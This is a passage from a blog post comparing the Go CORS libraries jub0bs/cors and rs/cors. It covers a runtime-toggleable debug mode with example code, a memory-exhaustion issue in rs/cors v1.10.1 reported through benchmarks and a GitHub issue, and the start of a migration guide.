<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5
</span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6
</span></span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// jub0bs/cors</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">corsMw</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">NewMiddleware</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Config</span>{ <span style="color:#75715e">/* omitted */</span> }
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Fatal</span>(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex; background-color:#3c3d38"><span><span style="color:#a6e22e">corsMw</span>.<span style="color:#a6e22e">SetDebug</span>(<span style="color:#66d9ef">true</span>)</span></span></code></pre></td></tr></table>
</div>
</div>
<p>The debug mode, when switched on, overrides the middleware&rsquo;s behaviour described
above and includes more information in responses to preflight requests,
even failed ones.
Switching debug mode on essentially turns your CORS middleware into a
<a href="https://en.wikipedia.org/wiki/Natural_horsemanship" target="_blank" rel="noopener">&ldquo;browser whisperer&rdquo;</a>: by giving the browser just enough
contextual information,
the middleware is able to elicit error messages from it that you will actually
find helpful for resolving your CORS issues.
Therefore, I strongly encourage you to activate this debug mode
whenever you&rsquo;re facing a puzzling CORS issue.</p>
<p>But wait; there&rsquo;s more!
Because the <code>SetDebug</code> method is <a href="https://en.wikipedia.org/wiki/Thread_safety" target="_blank" rel="noopener">concurrency-safe</a>,
you&rsquo;re free to opportunistically toggle debug mode <em>on the fly</em>,
even as your server is running and your CORS middleware is processing requests
(i.e. without the need to stop the server, edit its source code,
and then restart the server).
All you have to do is somehow expose the ability to toggle debug mode;
as an example, I&rsquo;ve modified the program at the top of this post
by adding a <code>/debug</code> endpoint for toggling debug mode:</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
</span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33
</span></span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">57
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;io&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;log&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;strconv&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;github.com/jub0bs/cors&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mux</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">NewServeMux</span>()
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mux</span>.<span style="color:#a6e22e">HandleFunc</span>(<span style="color:#e6db74">&#34;GET /hello&#34;</span>, <span style="color:#a6e22e">handleHello</span>) <span style="color:#75715e">// no CORS on this</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">corsMw</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">NewMiddleware</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Config</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">Origins</span>:        []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;https://example.com&#34;</span>},
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">Methods</span>:        []<span style="color:#66d9ef">string</span>{<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodGet</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodPost</span>},
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">RequestHeaders</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;Authorization&#34;</span>},
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Fatal</span>(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex; background-color:#3c3d38"><span>  <span style="color:#a6e22e">setDebug</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ResponseWriter</span>, <span style="color:#a6e22e">r</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>) {
</span></span><span style="display:flex; background-color:#3c3d38"><span>    <span style="color:#a6e22e">debug</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">strconv</span>.<span style="color:#a6e22e">ParseBool</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">URL</span>.<span style="color:#a6e22e">Query</span>().<span style="color:#a6e22e">Get</span>(<span style="color:#e6db74">&#34;debug&#34;</span>))
</span></span><span style="display:flex; background-color:#3c3d38"><span>    <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex; background-color:#3c3d38"><span>      <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Error</span>(<span style="color:#a6e22e">w</span>, <span style="color:#e6db74">&#34;invalid debug value&#34;</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusBadRequest</span>)
</span></span><span style="display:flex; background-color:#3c3d38"><span>      <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex; background-color:#3c3d38"><span>    }
</span></span><span style="display:flex; background-color:#3c3d38"><span>    <span style="color:#a6e22e">corsMw</span>.<span style="color:#a6e22e">SetDebug</span>(<span style="color:#a6e22e">debug</span>)
</span></span><span style="display:flex; background-color:#3c3d38"><span>  }
</span></span><span style="display:flex; background-color:#3c3d38"><span>  <span style="color:#a6e22e">mux</span>.<span style="color:#a6e22e">Handle</span>(<span style="color:#e6db74">&#34;PUT /debug&#34;</span>, <span style="color:#a6e22e">authZMiddleware</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">HandlerFunc</span>(<span style="color:#a6e22e">setDebug</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">api</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">NewServeMux</span>()
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">api</span>.<span style="color:#a6e22e">HandleFunc</span>(<span style="color:#e6db74">&#34;GET /users&#34;</span>, <span style="color:#a6e22e">handleUsersGet</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">api</span>.<span style="color:#a6e22e">HandleFunc</span>(<span style="color:#e6db74">&#34;POST /users&#34;</span>, <span style="color:#a6e22e">handleUsersPost</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mux</span>.<span style="color:#a6e22e">Handle</span>(<span style="color:#e6db74">&#34;/api/&#34;</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StripPrefix</span>(<span style="color:#e6db74">&#34;/api&#34;</span>, <span style="color:#a6e22e">corsMw</span>.<span style="color:#a6e22e">Wrap</span>(<span style="color:#a6e22e">api</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Fatal</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ListenAndServe</span>(<span style="color:#e6db74">&#34;:8080&#34;</span>, <span style="color:#a6e22e">mux</span>))
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">handleHello</span>(<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ResponseWriter</span>, <span style="color:#a6e22e">_</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">WriteString</span>(<span style="color:#a6e22e">w</span>, <span style="color:#e6db74">&#34;Hello, World!&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">authZMiddleware</span>(<span style="color:#a6e22e">h</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Handler</span>) <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Handler</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">h</span> <span style="color:#75715e">// actual implementation omitted</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">handleUsersGet</span>(<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ResponseWriter</span>, <span style="color:#a6e22e">_</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// omitted</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">handleUsersPost</span>(<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ResponseWriter</span>, <span style="color:#a6e22e">_</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// omitted</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>Note that, in practice, just like
<a href="https://mmcloughlin.com/posts/your-pprof-is-showing" target="_blank" rel="noopener">you shouldn&rsquo;t publicly expose your pprof endpoints</a>,
you shouldn&rsquo;t publicly expose the ability to toggle this debug mode
to the entire world.
Accordingly, in the example above, I&rsquo;ve wrapped my <code>setDebug</code> handler in some
<a href="https://csrc.nist.gov/glossary/term/authorization" target="_blank" rel="noopener">authorization</a> middleware.
An alternative approach would consist in restricting access
to the <code>/debug</code> endpoint at the reverse-proxy level.</p>
<hr>
<p>Attentive readers of <a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/" target="_blank" rel="noopener">my Fearless CORS design philosophy</a>
may object that <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>&rsquo;s debug mode seems to violate
<a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/#11-guarantee-configuration-immutability" target="_blank" rel="noopener">principle 11</a>:</p>
<blockquote>
<p>Guarantee configuration immutability.</p>
</blockquote>
<p>But I would retort that activating the debug mode (to ease troubleshooting)
only slightly alters the middleware&rsquo;s behaviour;
toggling the debug mode doesn&rsquo;t modify the sets of allowed origins, allowed
methods, allowed request headers, max age, etc.
Such modifications of the middleware configuration still require a server
restart. 😇</p>
<p>Edit (2025/06/16): CORS middleware produced by <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> are
now <a href="https://jub0bs.com/posts/2024-05-14-reconfigurable-cors-middleware/" target="_blank" rel="noopener">reconfigurable</a> on the fly (without requiring a server restart)
and in a concurrency-safe manner.</p>
<hr>
<h3 id="stronger-performance-guarantees">Stronger performance guarantees <a href="#stronger-performance-guarantees">¶</a></h3>
<p>Overall, <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> and modern versions of <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>
have <a href="https://github.com/jub0bs/cors-benchmarks#Results" target="_blank" rel="noopener">similar performance characteristics</a>.
However, there&rsquo;s one specific situation in which <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> v1.10.1
fares badly, to the point of facilitating <a href="https://owasp.org/www-community/attacks/Denial_of_Service" target="_blank" rel="noopener">denial of service</a>.
In response to some malicious requests masquerading as
<a href="https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request" target="_blank" rel="noopener">CORS-preflight requests</a>,
<a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> middleware indeed allocate an inordinate amount of memory,
orders of magnitude more than <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> middleware in some cases:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>goos: darwin
</span></span><span style="display:flex;"><span>goarch: amd64
</span></span><span style="display:flex;"><span>pkg: github.com/jub0bs/cors-benchmarks
</span></span><span style="display:flex;"><span>cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
</span></span><span style="display:flex;"><span>                │    rs-cors    │              jub0bs-cors  │
</span></span><span style="display:flex;"><span>                │    sec/op     │   sec/op     vs base      │
</span></span><span style="display:flex;"><span>malicious_ACRH    17238.0n ± 3%   438.2n ± 5%  -97.46% 😱
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                │   rs-cors     │              jub0bs-cors  │
</span></span><span style="display:flex;"><span>                │     B/op      │     B/op     vs base      │
</span></span><span style="display:flex;"><span>malicious_ACRH    37832.0 ± 0%     928.0 ± 0%  -97.55% 😱
</span></span></code></pre></div><p>In the worst (yet realistic) case I could conjure up,
a single malicious request of 1 Mib causes <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> middleware
to allocate a gargantuan 116 MiB!</p>
<p>This behaviour can be abused by adversaries to produce undue load
on the server&rsquo;s runtime (memory allocator and garbage collector).
Of course, this attack vector isn&rsquo;t as severe as, say, <a href="https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS" target="_blank" rel="noopener">ReDoS</a>,
and most WAFs would likely block those malicious requests,
but it should still be cause for concern.
In particular, because CORS middleware typically must sit in front of any
authentication logic,
attackers don&rsquo;t even need to be authenticated.</p>
<p>After discovering this problem in <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> v1.10.1,
I promptly opened <a href="https://github.com/rs/cors/issues/170" target="_blank" rel="noopener">GitHub issue #170</a>
and sent a fix in <a href="https://github.com/rs/cors/pull/171" target="_blank" rel="noopener">pull request #171</a>.
My pull request was eventually merged and a new version (<a href="https://github.com/rs/cors/releases/tag/v1.11.0" target="_blank" rel="noopener">v1.11.0</a>)
was released, but only about a month after I filed the issue.
Regardless of the vulnerability&rsquo;s actual severity,
the maintainer&rsquo;s tolerance to leaving the issue unresolved for so long is
worrying. 😟</p>
<p>Many open-source projects that depend on <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> v1.10.1
(or even older versions) could suffer from <a href="https://github.com/rs/cors/issues/170" target="_blank" rel="noopener">issue #170</a>.
One of them, <a href="https://github.com/prometheus/alertmanager" target="_blank" rel="noopener">Prometheus Alertmanager</a>,
is advertised as a program whose normal operation
<a href="https://groups.google.com/g/prometheus-developers/c/ScmOoR31XP4/m/kte7RT40AwAJ" target="_blank" rel="noopener">requires no more than 50 Mib of memory</a>.
To assess impact, I conducted a test in which I concurrently sent a couple of
malicious requests to a Dockerised instance of Alertmanager running with
a <a href="https://docs.docker.com/config/containers/resource_constraints/#limit-a-containers-access-to-memory" target="_blank" rel="noopener">memory limit</a> of 50 Mib;
as a result, the Docker container quickly ran out of memory and died. 💀</p>
<p>Because <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> follows a defensive approach,
it is immune to such issues and exhibits predictable performance characteristics.</p>
<h2 id="reasons-for-favouring-rscors-over-jub0bscors">Reasons for favouring rs/cors over jub0bs/cors <a href="#reasons-for-favouring-rscors-over-jub0bscors">¶</a></h2>
<p>Despite all of <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>&rsquo;s goodness, you may still
have valid reasons for sticking with <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> v1.11.0+,
at least for the time being.
Here is as exhaustive a list as I could come up with:</p>
<ul>
<li>You cannot yet, for some reason, migrate to Go v1.22
(whose <a href="https://go.dev/ref/mod#go-mod-file-go" target="_blank" rel="noopener">semantics</a> are assumed by <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>).</li>
<li><del>You wish to allow Web origins whose scheme is neither <code>http</code> nor <code>https</code>.</del></li>
<li>You need more flexible origin patterns than those supported by
<a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>.</li>
<li><del>You need to modify your CORS middleware&rsquo;s configuration on the fly,
without restarting the server.</del></li>
<li>You want to log an event for every single request processed
by your CORS middleware.</li>
</ul>
<p>If none of those items describe your present situation,
I encourage you to migrate to <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> as soon as possible. 😇</p>
<h2 id="migration-guide">Migration guide <a href="#migration-guide">¶</a></h2>
<p>If you&rsquo;re ready to migrate from <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> to <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>,
I expect that you will find such migration straightforward.
The following subsections of this post highlight the similarities and differences
between the two libraries.
If you still struggle to migrate your project, feel free to ask me
(on <a href="https://infosec.exchange/@jub0bs" target="_blank" rel="noopener">Mastodon</a>) for guidance or even a pull request.</p>
<p>In all of the examples below where a variable named <code>handler</code> appears,
the variable is assumed to be of type <a href="https://pkg.go.dev/net/http#Handler" target="_blank" rel="noopener"><code>http.Handler</code></a>
and declared elsewhere.</p>
<h3 id="installing-jub0bscors">Installing jub0bs/cors <a href="#installing-jub0bscors">¶</a></h3>
<p>To start depending on <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>
simply run the following shell command within your project:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>go get github.com/jub0bs/cors
</span></span></code></pre></div><p>Once you directly depend on <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>
and no longer on <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>,
don&rsquo;t forget to tidy your module by running fhe following command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>go mod tidy
</span></span></code></pre></div><h3 id="configuring-a-cors-middleware">Configuring a CORS middleware <a href="#configuring-a-cors-middleware">¶</a></h3>
